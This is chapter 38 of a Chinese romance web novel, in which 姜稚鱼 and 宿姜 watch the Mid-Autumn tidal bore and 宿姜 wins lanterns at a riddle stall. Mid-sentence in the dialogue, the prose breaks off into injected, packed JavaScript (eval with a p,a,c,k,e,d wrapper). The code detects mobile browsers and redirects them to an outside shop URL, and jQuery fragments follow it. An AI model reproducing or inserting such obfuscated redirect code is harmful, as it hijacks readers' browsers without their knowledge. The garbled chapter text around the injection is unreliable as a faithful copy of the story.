38. 兔子花灯

作品:《万人迷女主的前夫们

    第二日,宿姜已经在门外等着了,姜稚鱼连忙收拾好自己。


    他们要去观潮。


    临近戌时,残阳早已落下,明月高高悬在天边,皎洁如夜萤般照人。


    望月台上,姜稚鱼同其他人一般凭栏远眺。


    这个位置视角极好,潮水起伏涌动,声如雷鼓,远远观去恍若素练横江挟着星光月色而来。


    越来越近,潮头似白虹高达数丈,千军万马般奔腾汹涌,猛地碰击岸边,一波未平一波又起。


    姜稚鱼唇微微张着,被眼前的自然景观震撼得喃喃自语:“真是磅礴壮阔……”


    月亮逐渐西移,估摸着时间也差不多了,宿姜偏头问她:“看够了没?要不要走?”


    姜稚鱼面露不舍:“还能再看一会吗?”


    宿姜手撑着下巴,好整以暇地回道:“当然可以。”


    不等姜稚鱼再说些什么,他话音一转,又道:“这中秋夜可不止观潮这一件趣事,还有许多好玩的,好吃的,不过你要是想看一整夜潮水,也不是不行。”


    一听还有其他好玩好吃的东西,姜稚鱼心中一动,立马反悔了,眨巴着眼睛道:“其实看到现在就已经可以了。”


    她眼珠子转了转,又找了个看似很恰当的理由:“而且这里的风太大了,吹久了,到时候头疼生病就不好了……”


    宿姜眉毛一挑:“所以?”


    姜稚鱼立即表明:“所以我们现在就走吧。”


    宿姜盯了她几瞬,直接笑出了声。


    还真能扯。


    因是中秋佳节,街市千灯照碧云,楼阁红袖客纷纷,几乎哪哪都是人。


    还未入城,桂花酿成的新酒香气就已经扑入姜稚鱼的鼻间了。


    人越来越多,各种香气混在一起,令人流连忘返,她拉紧宿姜的衣角,生怕被人流冲散。


    等入了城,姜稚鱼左手提着蜜饯糕点,右手拿着酥油馅饼,边吃边跟着宿姜沿挂满花灯架子的街道往里走。


    游玩的行人三三两两停驻在摊位前,猜灯笼身上写的谜语。


    左右正看得入神,前面忽然传来阵阵喝彩声。


    那是一座松柏树枝扎成的巨大灯棚,里里外外围了好几层人,灯棚上挂着各式漂亮的彩灯。


    最引人瞩目的就是最顶端单独放着的那盏宝塔样式的走马灯,鲜活灵动,精致昂贵。姜稚鱼爱凑热闹,一下子就被吸引了过去。


    “急什么,又不会长腿跑。”宿姜在她身后不紧不慢跟着,又看她站在最外层,踮着脚,还是什么也看不清,急得额头冒汗的急切样子,不客气地笑了一声。


    最后实在看不下去了,便直接拽着姜稚鱼从人缝里钻了进去。


    原来是在猜灯谜,姜稚鱼站在最前面,这下终于看清了。


    随着一个又一个谜语被猜中,架子上的花灯也在逐渐减少。


    姜稚鱼微张着嘴,眼睛睁得大大的,视线随着人影不停转动,尤其是别人每答对一个谜语时,她就要小声惊呼一下。


    宿姜看她这幅崇拜万分的模样,莫名有点儿不爽,小声嘀咕了一句:“有什么大不了的,我也会啊。”


    他们离得近,姜稚鱼很容易就听见了,忍不住问道:“真的吗?”


    宿姜轻轻嗤了一声:“怎么,小瞧我是吧?”


    少年声音清越,音调却懒洋洋的,没一点怯事,透着十足十的自信。


    “没有没有,”姜稚鱼连忙否认道,“我知道,你很厉害的。”


    宿姜不置可否。


    他看了眼最顶端的走马灯,将手里本就属于姜稚鱼的一大堆吃食玩意塞到她怀里,琥珀色的圆瞳微眯,扬手一指:“我要那个。”


    这话一出,其他人的视线立即往他那边看去。


    少年身着烟灰色的箭袖圆领袍,领口袖口都镶绣着黑丝边流云纹的滚边,宽肩窄腰,高束的长发在背后甩出一道漂亮的弧度,更添几分飒爽。


    见他年纪不大,摊主收了钱好心提醒了他一句:“小兄弟,这盏花灯放在这好几天了,难度可不是一般的大,你当真要猜?”


    宿姜抱起胳膊,下巴微抬,笑中带有一点隐秘的骄矜:“你尽管说就是,猜不猜得中,等会不就知道了?”


    不出意料的,那盏悬挂已久的花灯落在了少年手中。


    穿过拥挤的人群,宿姜把得来的花灯在姜稚鱼眼前晃了晃,问她:“喜欢吗?”


    姜稚鱼腾出手,指尖在花灯的琉璃罩上轻点了一下:“看起来很贵的样子。”


    宿姜挑了下眉毛:“我是问你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354012|150046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜不喜欢,不是问你贵不贵。”


    姜稚鱼犹豫了下,小声道:“其实不怎么喜欢。”


    宿姜握着灯柄稍稍转动,光滑剔透的琉璃面罩反射出的灯火映入少年的眼眸,绚丽璀璨,流光溢彩。


    “这个是最好的,我以为你会喜欢。”


    姜稚鱼低垂着头,解释道:“可是最好的又不代表最喜欢啊。”


    宿姜把灯放在一旁,手拨着腰间唐刀的流苏穗子,珠玉般莹润白皙的指骨在其中不断穿梭着,他漫不经心道:“那你想要哪个?”


    那穗子是姜稚鱼闲来无事亲手编的,和少年头上的发带是同一种颜色,明亮的赤金色。


    其实不大好看,歪歪扭扭还冒着参差不齐的线头,可以说是很丑了,唯一好看的地方就是宿姜别在上面的一支赤红色的长羽。


    她那天送给宿姜时,还被他好一通嘲笑,原本以为他不会用的,只会藏起来,没想到他竟挂在了刀柄上。


    按照宿姜的说法就是,为什么不用,他当然要用,不仅要用还要明目张胆地用,以时时刻刻来嘲笑她丑陋的手工。


    姜稚鱼很是后悔,想要回来,可最终也没能成功。


    只不过后来习惯了,也就无所谓了,反正除了宿姜本人,又没人知道这东西是她编的,只会觉得他审美不好,这么好看的唐刀,刀柄上竟然挂了个这么丑的穗子。


    姜稚鱼看了看,伸手指道:“想要那个。”


    宿姜顺着她手指的方向看过去。


    那是盏玉兔捣药灯,挂在不起眼的角落里,虽不够精致,倒也有几分憨态可掬。


    宿姜收回视线,对着姜稚鱼哼了一声:“有的拿就不错了,还挑三拣四的。”


    姜稚鱼被他说得有些心虚,可还是耐不住对那个灯笼的喜爱,缠着他道:“可是那个最好看,我喜欢漂亮好看的。”


    “也不见得好看到哪里去啊。”宿姜十分嫌弃她的眼光。


    姜稚鱼歪着头,想了想,旋即又笑开,把眼睛笑得弯成了月牙状,认认真真反驳他:“可是在我眼里,它就是最漂亮的。”


    因为她喜欢,她喜欢的,才是最漂亮的。


    无论它是否昂贵,是否精致。


    顿了顿,又小声喊道:“宿姜哥哥,行不行啊?”